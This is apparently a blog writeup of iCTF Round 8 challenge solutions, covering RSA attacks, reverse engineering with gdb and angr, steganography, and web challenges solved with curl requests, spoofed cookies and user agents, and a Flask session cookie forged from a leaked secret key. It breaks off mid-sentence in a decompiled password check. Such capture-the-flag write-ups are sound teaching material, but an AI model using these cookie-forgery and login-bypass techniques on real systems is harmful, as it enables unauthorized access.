Skip to main content
mjkoo

iCTF Round 8 Writeup

47 min read
ctf ictf writeup

iCTF is a month-long competition where daily challenges are posted to Discord. Challenges are usually beginner-focused, and with new challenges in the morning (for me), I’ve found it to be a good warm-up to start off the day. I also have writeups for round 6 and round 7.

Challenges which I found particularly fun this round were Restricted Access, Greatest Common Flag Hardened, and too_smoll. A big thank you to all the challenge authors and board members for organizing this round.

If you are interested in joining, you can do so at https://discord.gg/Z4Vn9bw2uX

Sanity Check

Welcome to Round 7! DM flags to me to get points, and rise up on the leaderboard! Have fun and enjoy Round 7!

https://forms.gle/kB6vfq9uSsEKmkY48

Fill out survey, get flag.

debug me not

This program is filled with so many bugs that I can’t find the flag

(./crackme FLAG should print “you win!”)

Thanks to mjkoo for this challenge!

https://fdownl.ga/BB4DFDFE30

This was one of the challenges I submitted for this round, so will cover the intended solution here!

This program contains some code which decodes a constant string into a buffer and then compares it to user input (from argv). The intended approach is to use a debugger to examine the arguments to strncmp to determine the flag value.

There are a few tricks to this:

  1. The code which does the decoding of the flag is XOR-encoded in the .data section, and copied to a RWE region during runtime to be executed.
  2. The code-decoding step happens in two phases, one is obvious inside of main, the other is in a function (__init_plt) declared with __attribute__((constructor)) which runs prior to main.
  3. The code inside __init_plt uses ptrace(PTRACE_TRACEME, ...) to determine if it’s being run inside a debugger, and fails to do its decoding if so (the invalid decoded function will fail the CRC32 check rather than jump to garbage).

Our goal, therefore, is to fake the return value from ptrace to defeat the debugger check, and then at the strncmp call examine the arguments to reveal the flag.

A gdb script which can be used to find the flag:

# ptrace(PTRACE_TRACEME) call
b *0x401045
# strncmp call
b *0x401331

# run it
r ictf

# at ptrace
ni
set $rax=0
c

# at strncmp
x/s $rdi

This can be a bit dense if you haven’t used gdb before, the basic gist here is:

  • Set a breakpoint at the call to ptrace (b *ADDR sets a breakpoint at that address)
  • Set a breakpoint at the call to strncmp
  • Run the program with a command line argument “ictf” (needed to get past an early check, can observe this in Ghidra)
  • At the ptrace call, we want to step over the call with ni, change the return value stored in $rax to 0, and continue running with c
  • At the strncmp call, we want to examine the first argument, x/s reads a string value from memory, we’re looking for the string pointed to by $rdi, which is the first argument in the System V x86_64 calling convention

Running with gdb -x solve.gdb ./crackme, we get:

Other techniques to solve this include using angr (thanks to stephencurry396#4738 for getting this working!), or patching the binary to dump the flag, ignoring the check (as done by puzzler7#5860).

The source code for this challenge is now available (easier than looking at Ghidra, now that the challenge has been released!)

transposed

6x4 matrices are cool.

Note: the flag format is ictf{ALLCAPITALS}

EIESXNSTPGOOEMLDCOVATREY

Threw the provided ciphertext into the tool at https://www.boxentriq.com/code-breaking/columnar-transposition-cipher and got the flag.

adminpasswordv2

Could you help Toby break into this website? Apparently, only oreobot is allowed in…

Note: please do not use any enumeration tools

http://oreos.ctfchallenge.ga:1337/

We are presented with a website with a large image on the home page, and a login form in the admin section. We know from the previous round’s adminpassword challenge that the credentials here are probably admin:password. Trying this, we see that the credentials are invalid, but notice that a debug cookie is set to false. Setting debug=True, we see a comment saying that <!--oreobot not detected-->.

Looking at the image on the home page, we can deduce that we need to set the user agent for our request to oreobot to pass this check.

adminpasswordv2 Home Page Image
adminpasswordv2 Home Page Image

Try curl -v -X POST -d username=admin -d password=password -b debug=True -A oreobot http://oreos.ctfchallenge.ga:1337/adminLogin and we get:

grilled-cipher

pngcheck tells me that this image has some “additional data”. Red herring intensifies

Grilled Cipher Challenge Input
Grilled Cipher Challenge Input

As the hint suggests, try pngcheck -v grilled.PNG and we see that there is additional data after the IEND chunk at offset 0x0a0b3. Opening the file in a hex editor, we see what looks like a whole additional PNG image concatenated after the end of the first image. Extract this with dd if=grilled.PNG of=extra.png bs=1 skip=$((0xa0bb)) and we get this image:

Grilled Cipher Challenge Output
Grilled Cipher Challenge Output

Use these numbers as indexes in the flag string, we can construct the flag using the letters in the original grid.

Letters = Numbers

In values.txt, it links each letter to a numerical value. In wordlist.txt, there is a list of words. Each word’s letters have values which when added up, make the value of the word. Your goal is to find out which 7 letter word in wordlist.txt has the largest value. Flag format is ictf{word_with_largest_value_here}

https://fdownl.ga/C6EC972D42

Wrote a python script to solve this:

with open("wordlist.txt") as f:
    words = [line.lower().strip() for line in f.readlines()]

with open("values.txt") as f:
    values = {k: int(v) for k, v in [line.strip().split(" = ") for line in f.readlines()]}

def score(word):
    return sum(values[c] for c in word)

scores = {w: score(w) for w in words if len(w) == 7}

print(max(scores, key=scores.get))

We get:

sources-adventure

The ICTF employee login portal has been improperly managed for years now. Can you find the flag?

https://sources-adventure.max49.repl.co/

Navigating to the linked site, we see a login form. Inspecting the source, we see a comment <!-- Remember to hide logins.txt-->. Checking out logins.txt, we see it’s actually an HTML page, with usernames clearly visible and their passwords in another comment:

<html>
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width" />
  </head>
  <body>
    <p>
      usernames = {"random123", "abrink", "umask", "ictf{n0t_th3_fl@g}",
      "adminguy", "bademployee"}
    </p>

    <!--passwords = {"funny321", "ictf{not_the_flag}", "077", "ruth123", "Pa$$w0rd10", "we_really_need_to_fire_you"}-->
  </body>
</html>

Let’s log in as bademployee:we_really_need_to_fire_you (logging in as adminguy seems equivalent, didn’t try the others).

Poking around the page, we see static/js/success.js, with some minified javascript code. Let’s clean it up some:

function successful_login() {
  var info = "The flag may or may not be in the javascriptflag.txt file";
  alert("Welcome back to our website!");
  alert("We have many new things in store since you've last logged in!");
  alert(
    "Our website has never looked better and we hope you appreciate the hard work our team has put into this.",
  );
  var review = prompt(
    "Do you think our website looks good?",
    "Type your review here",
  );
  alert("Great! We will send your review to our developers");
  alert("Enjoy the website!");
}
successful_login();

Checking out /javascriptflag.txt, we get the following prompt:

>> p and q are the roots of: x2 - 1193466094530100901475895368534405836196484x + 241510240104661323964376801789257464125939916664383218559230902825798380145013495683
>> e = 65537
>> c = 43677751328737341941473102215716106126803393903674451929850781476645362591571674826

Let’s solve for p and q using sympy.

import sympy

a, b, c = 1, -1193466094530100901475895368534405836196484, 241510240104661323964376801789257464125939916664383218559230902825798380145013495683
x = sympy.Symbol('x')
p, q = sympy.solve(a*x**2 + b*x + c, x)

print(int(p), int(q))

We get p=258236238426958727050799883078836633429633 and q=935229856103142174425095485455569202766851.

Plugging into RsaCtfTool, we get the flag:

Snail distances

Bob was messing around with his public key and says custom created modulus are less prone to attacks, which he thinks it’s much more secure. Can you prove him wrong?

https://fdownl.ga/03A68DF85C

Throw this into RsaCtfTool, from the title we get that we’re supposed to perform a Fermat attack to factor n for close values of p and q, however it looks like the factorization here is available on factordb.

With N, E, and CT set from the challenge input above:

python RsaCtfTool.py --private -n $N -e $E --uncipher $CT

babels-wisdom

The universe is composed of an indefinite, perhaps infinite number of hexagonal galleries.

The flag format is usual ictf{.*}, don’t forget the brackets.

https://fdownl.ga/014A20AE99

Searching for the text in the description, we come across this site We can copy in the long strings from each of the entries in the challenge input to identify a chamber, then use the remaining information to browse to a specific wall, shelf, volume, and eventually page.

Doing so for each of the three entries yields:

Empty

This webiste is it’s raining cats and dogs but no flags :(

http://oreos.ctfchallenge.ga:12345/

I’m not quite sure what the challenge title is referring to here, so it’s possible I’m missing something with this one…

Looking at the source of the page, we can see in a comment in one of the inline SVG images (clever!) <!--qwerty:123 is so op-->. Logging in with these credentials doesn’t work, we get “Try again, cats:dogs” as an error message.

Let’s try curl -L -v -X POST -d "username=qwerty&password=123" http://oreos.ctfchallenge.ga:12345/suspicious to see what’s going on.

We see:

> POST /suspicious HTTP/1.1
> Host: oreos.ctfchallenge.ga:12345
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 28
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 28 out of 28 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 307 Temporary Redirect
< X-Powered-By: Express
< X-RateLimit-Limit: 200
< X-RateLimit-Remaining: 184
< Date: Thu, 01 Apr 2021 01:55:55 GMT
< X-RateLimit-Reset: 1617242223
< Set-Cookie: username=qwerty; Path=/
< Set-Cookie: password=123; Path=/
< Set-Cookie: ChangeValues=True; Path=/
< Location: /formdata
< Vary: Accept
< Content-Type: text/plain; charset=utf-8
< Content-Length: 44
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Ignoring the response-body
* Connection #0 to host oreos.ctfchallenge.ga left intact
* Issue another request to this URL: 'http://oreos.ctfchallenge.ga:12345/formdata'
* Found bundle for host oreos.ctfchallenge.ga: 0x557850c10d50 [serially]
* Can not multiplex, even if we wanted to!
* Re-using existing connection! (#0) with host oreos.ctfchallenge.ga
* Connected to oreos.ctfchallenge.ga (52.156.67.141) port 12345 (#0)
> POST /formdata HTTP/1.1
> Host: oreos.ctfchallenge.ga:12345
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 28
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 28 out of 28 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< X-RateLimit-Limit: 200
< X-RateLimit-Remaining: 183
< Date: Thu, 01 Apr 2021 01:55:55 GMT
< X-RateLimit-Reset: 1617242223
< Set-Cookie: username=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT
< Set-Cookie: password=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT
< Set-Cookie: ChangeValues=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 5570
< ETag: W/"15c2-pEAhNHgsF5DikLIfPFLNLdQOXno"
< Connection: keep-alive
< Keep-Alive: timeout=5
...

It looks like we need to make a request to /formdata with the username and password cookies set, and ChangeValues=False.

Running curl -X POST -b "username=qwerty;password=123;ChangeValues=False" http://oreos.ctfchallenge.ga:12345/formdata 2> /dev/null | grep ictf gives us the flag:

cast-rsa

I couldn’t come up with a description which is neither misleading nor clichéd. So, go through the source provided and solve this RSA challenge.

https://fdownl.ga/7F11DE4BE3

Looking at the code in party.py and the output in public.txt, we see that we have three moduli and ciphertexts encrypted with RSA using an exponent of 3. This indicates that we should perform Håstad’s Broadcast Attack.

Let’s solve this with Sage

import binascii

n1 = 3301886733241300997508011470470074827717574277898404144927842813276967856200442340274551891486937062007551487316689639428052353394413485700707104674217441520666390689159092475210186465711662049803640063709455743942492751578790056496532152631
C1 = 2489352746913183171736188220857276690546505879307619161383691965241136169001521422661132459718402048153365476361719277026523591267987295716997218053125055760788028272059965388177249958210643903955607697343622312944473362966406432176575570578

n2 = 4470151438741428241564419279247679955188143120040101567420050691985773164984906534841061138438269080501010671146138592181801255558915931835601573857423507707050858797471394866221615172754434495393160305578555097985790662804021239420993323383
C2 = 1615579501109618178462496261360789159447242105060046346165214289072821651071804308531110678328960867290879307088651270419040543494658383151532305176492637407497809169364367785156702157388940367433216342981325277867223166483736405187040516819

n3 = 2739436184778951499289105119624422042644856312527573383820424095417191533675637448249138714375544474626681976963076824372385469639121489051190573617627308948884219713756016359113317485893964538555918763034648941394876112115021770041812103701
C3 = 1668850678274032636645875765851358152753217094717734224893185252292325854084727715880175289161165356591335187812968953086942475357189090263647358349338908229399187629596352895743400977487638933636219054537742577456917422792240471061668464787

x = CRT_list([C1, C2, C3], [n1, n2, n3])
m = x.nth_root(3)
print(binascii.unhexlify(hex(int(m))[2:]))

This gives us:

Windows is the best OS

Windows is the best OS. It’s so much better than Linux. Y’all should see the OP way Windows generates password hashes. (Wrap the password in ictf)

4E3A1396B4740392538E6388187CF852

Feed this NTLM hash into CrackStation

too_smoll

Can you solve this for me? I’ll give you the leftovers from my chinese food if you do… (Thanks to RobinJadoul for this problem :D )

https://fdownl.ga/54EA210CC9

Looking at the provided code, we see that for each of the integers N in [1, 999] we are given the value of F^E mod N where F is the flag converted to an integer and E = 65537. Let L = lcm(1, 2, ... 999). As hinted to by the challenge description, we can use the Chinese remainder theorem to find a value for F^E mod L. We can then find the 65537th root of this value mod L to recover the flag.

import math
from sympy.ntheory.modular import crt
from sympy.ntheory.residue_ntheory import nthroot_mod
from Crypto.Util.number import long_to_bytes

moduli = list(range(1, 1000))

with open("output.txt") as f:
    v = [int(x) for x in f.read()[1:-2].split(", ")]

x = crt(moduli, v, symmetric=True)[0]
n = math.lcm(*moduli)
roots = nthroot_mod(x, 0x10001, n)

print(long_to_bytes(roots[0]))

We get:

Samuel Morse

https://en.wikipedia.org/wiki/Morse_code

qq xqxq x qqxq { xx 0 qxq qqq 3 _ xqxq 0 xqq 3 _ qq qqq _ xqxq 0 0 qxqq }

Note: flag is in uppercase (format: ICTF{.*})

Decode using Morse code, q is a dot, x is a dash, symbols and numbers as-is.

easy-rev

Easy RE challenge because I’ve been dead for some time and didn’t make the intended challenge. The flag is ictf{key_to_the_crackme}

https://github.com/ainzs-evil-twin/ictf-Mar-2021/blob/main/easy-rev/rushed

Examining the main function in Ghidra, we get the following decompiled source:

undefined8 main(void)

{
  long in_FS_OFFSET;
  ulong local_58;
  long local_50;
  char local_19;
  char local_18;
  char local_17;
  char local_16;
  char local_15;
  char local_14;
  char local_13;
  char local_12;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_50 = 0;
  printf("Enter the secret: ");
  fgets(&local_19,9,stdin);
  local_58 = (long)local_12 |
             (long)local_19 << 0x38 | (long)local_18 << 0x30 | (long)local_17 << 0x28 |
             (long)local_16 << 0x20 | (long)((int)local_15 << 0x18) | (long)((int)local_14 << 0x10)
             | (long)((int)local_13 << 8);
  while (local_58 != 0) {
    local_50 = (long)local_58 % 10 + local_50 * 10;
    local_58 = (long)local_58 / 10;
  }
  if (local_50 == 0x1990fde73c120f79) {
    puts("Congrats!");
  }
  else {
    puts("Try harder");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

We see that the function reads in 8 characters, shifts them into a 8 byte integer value, then proceeds into a loop reversing the digits of the decimal representation of this number. This result is then compared to a constant.

We can figure out the flag easily with Python by reversing these steps:

>>> bytes.fromhex(hex(int(str(0x1990fde73c120f79)[::-1]))[2:])
b'ez_as_p1'

Encode or Decode?

People often encode unsupported/broken data for easy viewing. (Note: Don’t forget to wrap the flag in ictf{*}, and thanks to fbibad#6167 for this challenge)

4e18ac22c012ba97ab1e275d7a71656a0d75

Decode from hex, encode to base64 (used CyberChef).

Supercomputers ONLY

This program only seems to work on my supercomputer. Maybe there’s something that’s supercomputer specific about it. (Thanks to tirefire#3823 for this challenge)

https://fdownl.ga/385F05F462

Examined this binary in Ghidra, noticed that there is a function called add_only_for_supercomputers which adds two 32-bit numbers in a super inefficient way. Used Binary Ninja to patch the binary to perform a normal add (patching functionality in binja more convenient than using Ghidra imo).

The patched binary can be found here

Running the patched program gives us:

Tolkien’s Secret

One Flag to rule them all, One Flag to find them,

One Flag to bring them all, and in the darknes bind them.

Note: I want to make it abundantly clear that you will not need to use any tools that make automated requests (bruteforce, dirb, etc.) to solve this.

https://dismalwindingcircles.samwise74.repl.co/

Web page presents the server’s source, reproduced below:

from flask import Flask, render_template_string, Response, session


app = Flask(__name__)
app.secret_key = 'KeepItSecret'
with open('flag.txt', 'r') as f:
    flag = f.read()


@app.route('/count')
def count():
    if 'count' in session:
        if session.get('count') == 356047916789627241981541:  # You spam? You get the ban.
            return Response(flag, mimetype='text/plain')

        session['count'] = session.get('count') + 1

    else:
        session['count'] = 1

    resp = 'Welcome to Mordor!<br />'
    resp += f'You have visited {session.get("count")} time(s).<br />'
    resp += 'Come again soon!'
    resp += '<br /><!--No need for large ammounts of requests. Pls use your brains instead of your scripts. Thx :)-->'
    return render_template_string(resp)


@app.route('/')
def source():
    with open(__file__, 'r') as f:
        content = f.read()
    return Response(content, mimetype='text/plain')


if __name__ == '__main__':
    app.run("0.0.0.0", port=8080)

Here we see that /count updates a value in a session cookie, and that we need to set this to a specific value to retrieve the flag. The secret used to sign the cookie is also provided.

Let’s use flask-unsign to forge a cookie which will get us the flag:

$ flask-unsign --sign --cookie "{'count': 356047916789627241981541}" --secret KeepItSecret
eyJjb3VudCI6MzU2MDQ3OTE2Nzg5NjI3MjQxOTgxNTQxfQ.YFOYeQ.gplQhUQ_BJjnF-Hd4C8TZFzrkpE
$ curl -b session=eyJjb3VudCI6MzU2MDQ3OTE2Nzg5NjI3MjQxOTgxNTQxfQ.YFOYeQ.gplQhUQ_BJjnF-Hd4C8TZFzrkpE https://dismalwindingcircles.samwise74.repl.co/count
ictf{Come_on_Mr_Frodo_I_cant_carry_it_for_you_but_I_can_carry_you!}

We get:

simple rsa

Attacked on… more like alpertron :rooCash:778310890079387678

https://fdownl.ga/E90BE745E0

We are given the following text file:

N: 634557599394827484518408716527054197491217109177784256003137

e: 17

ct: 22920183178010324016373443603515625 8429431933839268832485642678641699 124676848765984328031674121957933056 14002414191924244276669361796022272 337587917446653715596592958817679803 6599743590836592050933837890625 43276334103547425867991106950436269 5958260438588051333281183456765537 293844199047808331618283286773235712 54116956037952111668959660849 50544702849929377100000000000000000 29606831241262271996845213307591 4181203352191774128676605224609375 68660408884120282915274309282824192 1379209096840925342723840168019929 124676848765984328031674121957933056 19479004955562800041143429584912384 38115448583970168165554454528 50544702849929377100000000000000000 4181203352191774128676605224609375 6599743590836592050933837890625 50544702849929377100000000000000000 14211879482945166685530717421568 4181203352191774128676605224609375 8429431933839268832485642678641699 37553674644104207641884714074112 92764641967130171567625832766767104 4181203352191774128676605224609375 107612640045671820774919891357421875 31588152109649857868144549324788907 54116956037952111668959660849 37000180548008608733053875753320448 94152329294455713577749264203776 107612640045671820774919891357421875 4181203352191774128676605224609375 14002414191924244276669361796022272 124676848765984328031674121957933056 192441327313530246357280390753883639 444089209850062616169452667236328125

Looking up N in factordb, we see that this is already factored, and p = 660173664989916385736367593903, q = 961197989326823320457291281679. Let’s write a quick python script to decrypt each (one-character) ciphertext:

n = 634557599394827484518408716527054197491217109177784256003137
e = 17

# From factordb
p = 660173664989916385736367593903
q = 961197989326823320457291281679


assert p * q == n

ct = [
    22920183178010324016373443603515625,
    8429431933839268832485642678641699,
    124676848765984328031674121957933056,
    14002414191924244276669361796022272,
    337587917446653715596592958817679803,
    6599743590836592050933837890625,
    43276334103547425867991106950436269,
    5958260438588051333281183456765537,
    293844199047808331618283286773235712,
    54116956037952111668959660849,
    50544702849929377100000000000000000,
    29606831241262271996845213307591,
    4181203352191774128676605224609375,
    68660408884120282915274309282824192,
    1379209096840925342723840168019929,
    124676848765984328031674121957933056,
    19479004955562800041143429584912384,
    38115448583970168165554454528,
    50544702849929377100000000000000000,
    4181203352191774128676605224609375,
    6599743590836592050933837890625,
    50544702849929377100000000000000000,
    14211879482945166685530717421568,
    4181203352191774128676605224609375,
    8429431933839268832485642678641699,
    37553674644104207641884714074112,
    92764641967130171567625832766767104,
    4181203352191774128676605224609375,
    107612640045671820774919891357421875,
    31588152109649857868144549324788907,
    54116956037952111668959660849,
    37000180548008608733053875753320448,
    94152329294455713577749264203776,
    107612640045671820774919891357421875,
    4181203352191774128676605224609375,
    14002414191924244276669361796022272,
    124676848765984328031674121957933056,
    192441327313530246357280390753883639,
    444089209850062616169452667236328125,
]

d = pow(e, -1, (p - 1) * (q - 1))

print("".join([chr(pow(c, d, n)) for c in ct]))

We get:

Regex Nightmare

Do you think you have what it takes to get past my super secure password obfuscation?

https://fdownl.ga/FA749191D2

We are given a python program which checks an input against three regular expressions, we need to find a string which matches all 3.

Simplified and commented using python’s verbose regex support, we get this equivalent program:

import re

FLAG = "ictf{Th4t_w4S_fUn!_N0T}"

regex1 = r"""
^                                   # Beginning of string
.{7}                                # Match 7 of any character
[0-9]                               # Match 1 digit
[a-t]                               # Match 1 character a-t
.{0,1}                              # Match 0 or 1 of any character
w                                   # Match a literal w
[0-4]                               # Match 1 digit 0-4
[^^^`]{2,3}                         # Match 2-3 characters, not ^ or `
[a-z]                               # Match 1 character a-z
.{1}                                # Match 1 of any character
[a-n]{0,1}                          # Match 0 or 1 of a character a-n
!                                   # Match a literal !
[^ -^^`-~]                          # Match a _ (character not in this set)
.{0}                                # Match 0 of any character (no-op)
[A-N]?                              # Match 0 or 1 of a character A-N
[/-0]{1}                            # Match 1 character / or 0
T                                   # Match a literal T
\}                                  # Match a literal }
$                                   # End of string
"""

regex2 = r"""
^                                   # Beginning of string
[\x69][\x63][\x74][\x66]{[\x54]     # Match "ictf{T"
[g-i]                               # Match 1 character g-i
4                                   # Match 1 character 4
.{3}                                # Match 3 of any character
[0-9]?                              # Match 0 or 1 of a digit 0-9
S                                   # Match a literal S
[\^-`]                              # Match a character ^-` (_)
[A-Za-z0-9]{1}                      # Match 1 character, either letter or digit
[\x55]                              # Match a literal U
[a-f]?                              # Match 0 or 1 of a character a-f
[n-z]{1,2}                          # Match 1 or 2 characters n-z
[\x20-\x6f]{0,2}                    # Match between 0 and 2 characters between ' ' and o (!)
_                                   # Match a literal _
.{4}                                # Match 4 of any character
$                                   # End of string
"""

regex3 = r"""
(                                   # Start group
^                                   # Matches start of the string
.{5}                                # Matches 5 of any character ("ictf{")
[T]{1}                              # Matches literal T
|[N-Z]{1,3}                         # Matches between 1 and 3 of N-Z (no-op
)                                   # End group
[^g^i]{1}                           # Matches a single character not g, i, or ^ (h)
[\x34-\x74]{0,2}                    # Matches between 0 and 2 of 4-t
[_-_]{1}                            # Matches a literal _
.?                                  # Matches 0 or 1 of any character
(7|4)                               # Matches a 7 or a 4
S_                                  # Matches "S_"
[f]?                                # Matches 0 or 1 of f
.{0}                                # no-op
.{4}                                # Matches 4 of any character
[N-Q]                               # Matches a character N-Q
.{3}                                # Matches 3 of any character
$                                   # End of string
"""

if re.match(regex1, FLAG, re.VERBOSE):
    if re.match(regex2, FLAG, re.VERBOSE):
        if re.match(regex3, FLAG, re.VERBOSE):
            print("[+] Correct password!")
            exit(0)

print("[!] Incorrect password!")
exit(1)

Using regex101 to test and debug these expressions interactively, we can find a string which meets all the criteria (expressed as a constant above).

(Note that there were several slightly different versions of this challenge released, I’m pretty sure I solved this late enough that I was working off the last one, password_checker4.py)

Get lost!

Just get lost!

note: (please wrap flag in the flag wrapper in all lowercase and replace all spaces with underscores(there should be 4 total))

We are given the following image as a challenge input:

Get lost! Challenge Input
Get lost! Challenge Input

We can use StegSolve to examine blue plane 0, we see the following:

Get lost! Blue Plane 0
Get lost! Blue Plane 0

Let’s solve this maze, to do so let’s invert the color and use an automated solver.

Get lost! Challenge Output
Get lost! Challenge Output

Looking at the path, we get the flag:

The Key to Success

Mind the shift key :)

https://fdownl.ga/A0D79637DE

Looking at the provided pcap file, we see that this is USB HID traffic, presumably from a keyboard. Let’s see what the user typed!

This writeup has a good overview of how to do this quickly, plus a script.

$ tshark -r capture.pcapng -T fields -e usb.capdata | sed '/^$/d' > flag
$ python decodeusbkeypress.py flag
ictf{3v3ry_k3y_c0unts}

Quikmafs

I bet you can’t solve all of these math problems before time runs out, and even if you could, I bet you wouldn’t see the flag there anyway!

(flag format is subtly different, and special thanks to puzzler7#5860 for this challenge)

https://fdownl.ga/B06E35A33C

Running this binary, we see we are asked a series of subtraction problems. Solving all the problems prints a success message, but no flag. Checking out this binary in Ghidra, we see that there is a problems array which is used to generate the expressions, such that the sign of each answer is always the same across runs.

The decompiled code looks like:

void do_problem(uint sign)

{
  int rand;
  int input;
  int answer;
  uint digit1;
  uint digit2;
  uint tmp;

  rand = ::rand();
  digit1 = rand % 10;
  digit2 = digit1;
  while (digit1 == digit2) {
    rand = ::rand();
    digit1 = rand % 10;
  }
  if (sign == (int)digit2 < (int)digit1) {
    tmp = digit2;
    digit2 = digit1;
    digit1 = tmp;
  }
  answer = digit2 - digit1;
  printf("%d - %d = ",(ulong)digit2,(ulong)digit1);
  input = 0;
  scanf("%d",&input);
  if (answer != input) {
    wrong();
  }
  return;
}

int main(void)

{
  time_t seed1;
  time_t seed2;
  int index;

  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  signal(0xe,die);
  alarm(0x14);
  seed1 = time(&seed2);
  srand((uint)seed1);
  puts("Can you solve all these math problems?");
  index = 0;
  while (index < 0x110) {
    do_problem((int)problems[index]);
    index = index + 1;
  }
  puts("Well done! You solved them all! Did you see the flag along the way?");
  return 0;
}

Let’s assume that the signs of the answers to each question represent bits of the flag. Let’s write a pwntools script to run the program, answer the questions, and then print the combined flag bits.

from pwn import *
from pwnlib.tubes.process import process
from pwnlib.util import safeeval

p = process(["./quikmafs"])

p.recvlineS()

problems = ""
while True:
    try:
        problem = p.recvuntilS(" = ")
        answer = safeeval.expr(problem[:-3])

        problems += "0" if answer < 0 else "1"
        p.sendline(str(answer).encode("utf-8"))
    except EOFError:
        break

print(int(problems, 2).to_bytes(len(problems), "big"))

(Alternatively, could extract the problems[] array from the binary and get the same result!)

We get:

What?

Who would even think of this?

Note: you may need to use some trial and error, but the original text is completely recoverable, I promise :)

https://fdownl.ga/91A3BEE4C0

Inside the provided zip file, we see a series of images, all of which contain some text, which look like hashes. We can use pytesseract to OCR these into something we can use. Trying a few values confirms that these are MD5 hases of single characters, so for each image let’s also figure out what character was used to generate the hash.

Looking at the results, we see that the image sequence forms another python script, which is decoding a string. Let’s exec() it and get the flag!

Our final script looks like:

import hashlib
import os
import string

from PIL import Image
import pytesseract


def process_image(p):
    h = pytesseract.image_to_string(
        Image.open(p), config="-c tessedit_char_whitelist=0123456789abcdef --psm 6"
    )
    h = h.lower().strip()

    # Manual fixup
    if h == "45c48cce2e2d7fbdeaafc51c7c6ad26":
        h = "45c48cce2e2d7fbdea1afc51c7c6ad26"

    assert len(h) == 32
    assert all(c in string.hexdigits for c in h)

    return h


lookup = {hashlib.md5(c.encode("utf-8")).hexdigest(): c for c in string.printable}

hashes = []
for i in range(len(os.listdir("images"))):
    hashes.append(process_image(f"images/{i}.png"))

script = "".join([lookup[h] for h in hashes])

# f = [8, 2, 21, 7, 26, 22, 9, 81, 62, 22, 9, 85, 21, 62, 22, 9, 85, 15, 62, 22, 9, 82, 19, 82, 62, 22, 9, 24, 94, 28]
# s = 'a' * len(f)
#
# for x in range(len(s)):
#     chr(ord(s[x]) ^ f[x])

script = script.replace("chr(ord(s[x]) ^ f[x])", "print(chr(ord(s[x]) ^ f[x]), end='')")

exec(script)
print()

We get:

mines of moria

The Doors of Durin, Lord of Moria. Speak, friend, and enter.

Hint: Did you know Tolkien was a polyglot?

(Thanks to mjkoo for this challenge :D)

https://fdownl.ga/3F7C9DB36B

This is another of my challenge submissions this month! Let’s cover the intended solution, which has a couple of different paths one could take.

This is a forensics/reversing challenge with two polyglot files representing two stages of the challenge. We are given moria.tar, which is both an ELF executable and a tar archive.

If we decide to run the executable first, we will see it doesn’t get very far. strace will show it checks to see if the tar has been extracted, and dies early if not. This should be a hint to extract the tar, along with the filename and file moria.tar calling the challenge input a POSIX tar archive.

If we decide to extract the tar first, we are given a directory named \177ELF (ELF header magic value) containing secrets.png and hint.txt. The hint text is designed to make you look closer at the tar file, in case the directory name didn’t make this clear. Examining the PNG closer will reveal a large zTxT chunk containing a file encrypted with openssl and then XOR-encoded.

One may be able to crack the password, but this is not intended. If they can guess that this is encrypted with OpenSSL then XORed, they can recover the XOR key g@nd@lf with the known prefix Salted__, then try to brute-force the password. Figuring out the format without guessing, however, would still require looking at the binary, where a more obvious route should present itself.

Once we have the tar extracted and are running the executable, it will prompt for user input. It is intended that we reverse the ELF to determine the password, which will be used to decrypt the file embedded in the PNG file. There are a few challenges to reversing here:

  • readelf doesn’t get very far parsing the tar file
  • Ghidra refuses to load moria.tar as an ELF, so in theory one would need to load as a raw binary and locate the entrypoint manually.
  • The code in moria.tar is a loader which drops an encoded payload into a memfd and execs that

The first goal should be to extract the stage 2 payload. strace output shows the memfd_create and execve calls, telling us that this program is exec-ing a second stage. Once the program is at the point where it blocks waiting for input (i.e. the tar has been extracted), it is easy to copy out the contents of the second stage ELF from /proc/<PID>/exe. This can then be loaded into your disassembler of choice, bypassing the issues with the loader. The binary was not stripped, so this should aid reversing (although makes Ghidra’s auto-analysis with default flags take quite a while!)

Loading into Ghidra and looking at main, we can see a function decrypt_stage2 which calls check_password. Examining check_password, we see it permutes and then scrambles the bytes of the password and checks against a constant. We can use normal reversing procedure to determine an input which will satisfy it. Let’s cover two possible techniques.

First, we can use angr to make quick work of the password function. Let’s use a function call state to bypass most of the initial checks. We can then look for a string input which successfully returns from check_password, avoiding die. Our script looks like:

import angr
import claripy

p = angr.Project("stage2")

pchar = angr.sim_type.parse_type("char *")
void = angr.sim_type.parse_type("void")
prototype = angr.sim_type.SimTypeFunction((pchar,), void)
cc = p.factory.cc(func_ty=prototype)

# We can tell we need 9 characters from Ghidra
password_chars = [claripy.BVS("flag_%d" % i, 8) for i in range(9)]
password = claripy.Concat(*password_chars)

# check_password function address
state = p.factory.call_state(0x00417D42, password, cc=cc)

for k in password_chars:
    state.solver.add(k > 0x20)
    state.solver.add(k < 0x80)

simgr = p.factory.simulation_manager(state)

# Find a successful return, avoid die()
simgr.explore(find=0x00417E9F, avoid=0x00417E71)

for found in simgr.found:
    pw = found.solver.eval(password, cast_to=bytes)
    print(pw)

Alternatively, we can take a more manual approach and view the decompiled function in Ghidra, and attempt to work backwards to find a string which will satisfy the necessary conditions. The decompiled function looks like:

void check_password(char *password)

{
  long lVar1;
  size_t length;
  long in_FS_OFFSET;
  int index;
  char expected [9];
  char permutation [9];
  byte b;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  expected._0_8_ = 0x6e3bf1616de06e2e;
  expected[8] = '!';
  permutation._0_8_ = 0x304070206050008;
  permutation[8] = '\x01';
  length = strlen(password);
  if (length != 9) {
    die(2);
  }
  index = 0;
  while ((ulong)(long)index < length) {
